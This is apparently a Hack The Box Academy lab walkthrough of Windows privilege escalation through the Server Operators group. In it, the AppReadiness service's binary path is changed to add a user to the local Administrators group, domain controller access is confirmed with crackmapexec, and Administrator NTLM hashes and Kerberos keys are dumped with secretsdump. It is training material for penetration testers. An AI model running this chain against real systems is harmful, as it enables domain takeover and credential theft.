**Server Operators**

The [Server Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-serveroperators) group allows members to administer Windows servers without needing assignment of Domain Admin privileges. It is a very highly privileged group that can log in locally to servers, including Domain Controllers.

Membership of this group confers the powerful SeBackupPrivilege and SeRestorePrivilege privileges and the ability to control local services.

**Querying the AppReadiness Service**

Let's examine the AppReadiness service. We can confirm that this service starts as SYSTEM using the sc.exe utility.

Querying the AppReadiness Service

C:\htb> sc qc AppReadiness

[SC] QueryServiceConfig SUCCESS

SERVICE\_NAME: AppReadiness

TYPE : 20 WIN32\_SHARE\_PROCESS

START\_TYPE : 3 DEMAND\_START

ERROR\_CONTROL : 1 NORMAL

BINARY\_PATH\_NAME : C:\Windows\System32\svchost.exe -k AppReadiness -p

LOAD\_ORDER\_GROUP :

TAG : 0

DISPLAY\_NAME : App Readiness

DEPENDENCIES :

SERVICE\_START\_NAME : LocalSystem

**Checking Service Permissions with PsService**

We can use the service viewer/controller [PsService](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice), which is part of the Sysinternals suite, to check permissions on the service. PsService works much like the sc utility and can display service status and configurations and also allow you to start, stop, pause, resume, and restart services both locally and on remote hosts.

Checking Service Permissions with PsService

C:\htb> c:\Tools\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility

Copyright (C) 2001-2010 Mark Russinovich

Sysinternals - www.sysinternals.com

SERVICE\_NAME: AppReadiness

DISPLAY\_NAME: App Readiness

ACCOUNT: LocalSystem

SECURITY:

[ALLOW] NT AUTHORITY\SYSTEM

Query status

Query Config

Interrogate

Enumerate Dependents

Pause/Resume

Start

Stop

User-Defined Control

Read Permissions

[ALLOW] BUILTIN\Administrators

All

[ALLOW] NT AUTHORITY\INTERACTIVE

Query status

Query Config

Interrogate

Enumerate Dependents

User-Defined Control

Read Permissions

[ALLOW] NT AUTHORITY\SERVICE

Query status

Query Config

Interrogate

Enumerate Dependents

User-Defined Control

Read Permissions

[ALLOW] BUILTIN\Server Operators

All

This confirms that the Server Operators group has [SERVICE\_ALL\_ACCESS](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights) access right, which gives us full control over this service.

**Checking Local Admin Group Membership**

Let's take a look at the current members of the local administrators group and confirm that our target account is not present.

Checking Local Admin Group Membership

C:\htb> net localgroup Administrators

Alias name Administrators

Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------

Administrator

Domain Admins

Enterprise Admins

The command completed successfully.

**Modifying the Service Binary Path**

Let's change the binary path to execute a command which adds our current user to the default local administrators group.

Modifying the Service Binary Path

C:\htb> sc config AppReadiness binPath= "cmd /c net localgroup Administrators server\_adm /add"

[SC] ChangeServiceConfig SUCCESS

**Starting the Service**

Starting the service fails, which is expected.

Starting the Service

C:\htb> sc start AppReadiness

[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

**Confirming Local Admin Group Membership**

If we check the membership of the administrators group, we see that the command was executed successfully.

Confirming Local Admin Group Membership

C:\htb> net localgroup Administrators

Alias name Administrators

Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------

Administrator

Domain Admins

Enterprise Admins

server\_adm

The command completed successfully.

**Confirming Local Admin Access on Domain Controller**

From here, we have full control over the Domain Controller and could retrieve all credentials from the NTDS database and access other systems, and perform post-exploitation tasks.

Confirming Local Admin Access on Domain Controller

yovecio@htb[/htb]$ crackmapexec smb 10.129.43.9 -u server\_adm -p 'HTB\_@cademy\_stdnt!'

SMB 10.129.43.9 445 WINLPE-DC01 [\*] Windows 10.0 Build 17763 (name:WINLPE-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)

SMB 10.129.43.9 445 WINLPE-DC01 [+] INLANEFREIGHT.LOCAL\server\_adm:HTB\_@cademy\_stdnt! (Pwn3d!)

**Retrieving NTLM Password Hashes from the Domain Controller**

Retrieving NTLM Password Hashes from the Domain Controller

yovecio@htb[/htb]$ secretsdump.py server\_adm@10.129.43.9 -just-dc-user administrator

Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

Password:

[\*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[\*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::

[\*] Kerberos keys grabbed

Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43

Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a

Administrator:des-cbc-md5:d60dfbbf20548938

[\*] Cleaning up...